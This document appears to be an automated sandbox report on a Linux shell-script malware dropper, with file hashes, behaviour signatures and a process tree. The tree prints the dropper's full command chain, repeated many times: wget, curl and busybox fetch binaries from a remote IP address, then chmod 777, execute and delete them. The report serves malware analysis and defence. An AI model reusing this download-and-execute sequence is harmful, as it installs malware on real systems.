Analysis

  • max time kernel
    18s
  • max time network
    19s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 02:43

General

  • Target

    c8197f4b09c6dbb4b5f68262c2bcbeb244d16800ca8c7201c7010473abf97cad.sh

  • Size

    10KB

  • MD5

    eeab4766daa60dbedfe5ac8ed6379d9b

  • SHA1

    9bc333ca6165533554a6ae360550dd5b28050e51

  • SHA256

    c8197f4b09c6dbb4b5f68262c2bcbeb244d16800ca8c7201c7010473abf97cad

  • SHA512

    9e67b335a4b29e5381bbba0e4b024f17164814614713df6763b598063707277000f155eb47bcdd5ce7c785eaf790fffe084134540be358aa1bea4ce7fadc518c

  • SSDEEP

    192:N5pZuLnRjPMfpMnOWrt609vuOZKu6j6MOWrt609uOZKuiJpZuLnIbjPMF:NkjPMfpMnOWrw09vuOZKu6j6MOWrw09z

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c8197f4b09c6dbb4b5f68262c2bcbeb244d16800ca8c7201c7010473abf97cad.sh
    /tmp/c8197f4b09c6dbb4b5f68262c2bcbeb244d16800ca8c7201c7010473abf97cad.sh
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:639
        • /usr/bin/wget
          wget http://87.120.84.230/bins/asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
          2⤵
            PID:644
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:659
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
            2⤵
              PID:667
            • /bin/chmod
              chmod 777 asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
              2⤵
              • File and Directory Permissions Modification
              PID:670
            • /tmp/asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
              ./asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
              2⤵
              • Executes dropped EXE
              PID:671
            • /bin/rm
              rm asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75
              2⤵
                PID:672
              • /usr/bin/wget
                wget http://87.120.84.230/bins/6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                2⤵
                  PID:673
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:674
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                  2⤵
                    PID:694
                  • /bin/chmod
                    chmod 777 6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:698
                  • /tmp/6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                    ./6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                    2⤵
                    • Executes dropped EXE
                    PID:699
                  • /bin/rm
                    rm 6XRch6L6VwItFCL9uZYuK3llj3k5gKgnZ2
                    2⤵
                      PID:701
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                      2⤵
                        PID:702
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:709
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                        2⤵
                          PID:719
                        • /bin/chmod
                          chmod 777 c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:723
                        • /tmp/c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                          ./c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                          2⤵
                          • Executes dropped EXE
                          PID:724
                        • /bin/rm
                          rm c3YZE1qFS44gwlVRPP1Q4vwfOidimWKSPZ
                          2⤵
                            PID:725
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                            2⤵
                              PID:727
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:731
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                              2⤵
                                PID:732
                              • /bin/chmod
                                chmod 777 dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                                2⤵
                                • File and Directory Permissions Modification
                                PID:733
                              • /tmp/dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                                ./dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                                2⤵
                                • Executes dropped EXE
                                PID:734
                              • /bin/rm
                                rm dXgpzCjtcgs7WMcsSVhXKPOcWw0EZvZVOR
                                2⤵
                                  PID:735
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                  2⤵
                                    PID:736
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:741
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                    2⤵
                                      PID:748
                                    • /bin/chmod
                                      chmod 777 CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:752
                                    • /tmp/CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                      ./CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                      2⤵
                                      • Executes dropped EXE
                                      PID:753
                                    • /bin/rm
                                      rm CdGHDEKqoMjPLAXmd6qgntWvZTGQXwAZhD
                                      2⤵
                                        PID:754
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                        2⤵
                                          PID:756
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:762
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                          2⤵
                                            PID:768
                                          • /bin/chmod
                                            chmod 777 Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:773
                                          • /tmp/Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                            ./Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                            2⤵
                                            • Executes dropped EXE
                                            PID:774
                                          • /bin/rm
                                            rm Y1qIFXe00q9E7lYs7IkXRXhRmg3mwoQZTr
                                            2⤵
                                              PID:775
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                              2⤵
                                                PID:777
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:779
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                2⤵
                                                  PID:780
                                                • /bin/chmod
                                                  chmod 777 FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:781
                                                • /tmp/FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                  ./FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:782
                                                • /bin/rm
                                                  rm FM9mzo2wFMOY7FFNUexJrH1qno42DoIOZD
                                                  2⤵
                                                    PID:783
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                    2⤵
                                                      PID:784
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:785
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                      2⤵
                                                        PID:786
                                                      • /bin/chmod
                                                        chmod 777 lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:787
                                                      • /tmp/lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                        ./lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:788
                                                      • /bin/rm
                                                        rm lrKnr3034wAUb5b0tP4IwCRQ5ayk865E6a
                                                        2⤵
                                                          PID:789
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                          2⤵
                                                            PID:790
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:791
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                            2⤵
                                                              PID:792
                                                            • /bin/chmod
                                                              chmod 777 C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:793
                                                            • /tmp/C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                              ./C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:794
                                                            • /bin/rm
                                                              rm C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                              2⤵
                                                                PID:795
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                2⤵
                                                                  PID:796
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:797
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                  2⤵
                                                                    PID:798
                                                                  • /bin/chmod
                                                                    chmod 777 HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:799
                                                                  • /tmp/HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                    ./HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:800
                                                                  • /bin/rm
                                                                    rm HSpQmc5Ew2KXGNM44Q3tgujbE9exmiEwbY
                                                                    2⤵
                                                                      PID:801
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                      2⤵
                                                                        PID:802
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:803
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                        2⤵
                                                                          PID:804
                                                                        • /bin/chmod
                                                                          chmod 777 Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:805
                                                                        • /tmp/Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                          ./Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:806
                                                                        • /bin/rm
                                                                          rm Ty4mb8KH1CjAEfmy9ahIiEWvVectjro4mT
                                                                          2⤵
                                                                            PID:807
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                            2⤵
                                                                              PID:808
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:809
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                              2⤵
                                                                                PID:810
                                                                              • /bin/chmod
                                                                                chmod 777 MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:812
                                                                              • /tmp/MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                                ./MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:813
                                                                              • /bin/rm
                                                                                rm MVUvjhjXabjTaojsETsh4UPCh61BO1XLel
                                                                                2⤵
                                                                                  PID:814
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                  2⤵
                                                                                    PID:815
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:817
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                    2⤵
                                                                                      PID:818
                                                                                    • /bin/chmod
                                                                                      chmod 777 37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:819
                                                                                    • /tmp/37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                      ./37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:820
                                                                                    • /bin/rm
                                                                                      rm 37WWsPY56wpTyjx9JVU51yjzxNIhJAwGM1
                                                                                      2⤵
                                                                                        PID:821
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                        2⤵
                                                                                          PID:822
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.84.230/bins/opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:823
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.84.230/bins/opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                          2⤵
                                                                                            PID:824
                                                                                          • /bin/chmod
                                                                                            chmod 777 opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:825
                                                                                          • /tmp/opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                            ./opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:826
                                                                                          • /bin/rm
                                                                                            rm opqv7SDxvt4jAkiON4xTKQYP4ZsrTmUDCu
                                                                                            2⤵
                                                                                              PID:827
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.84.230/bins/C2RlkwrYZJQhou0flB54ZavxeMOjgcJsyP
                                                                                              2⤵
                                                                                                PID:828

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  • /tmp/asJVL2NuH6mlSXZWCCeCUW2wYyWWqJsh75

                                                                                                    Filesize

                                                                                                    153B

                                                                                                    MD5

                                                                                                    998368d7c95ea4293237f2320546e440

                                                                                                    SHA1

                                                                                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                                    SHA256

                                                                                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                                    SHA512

                                                                                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97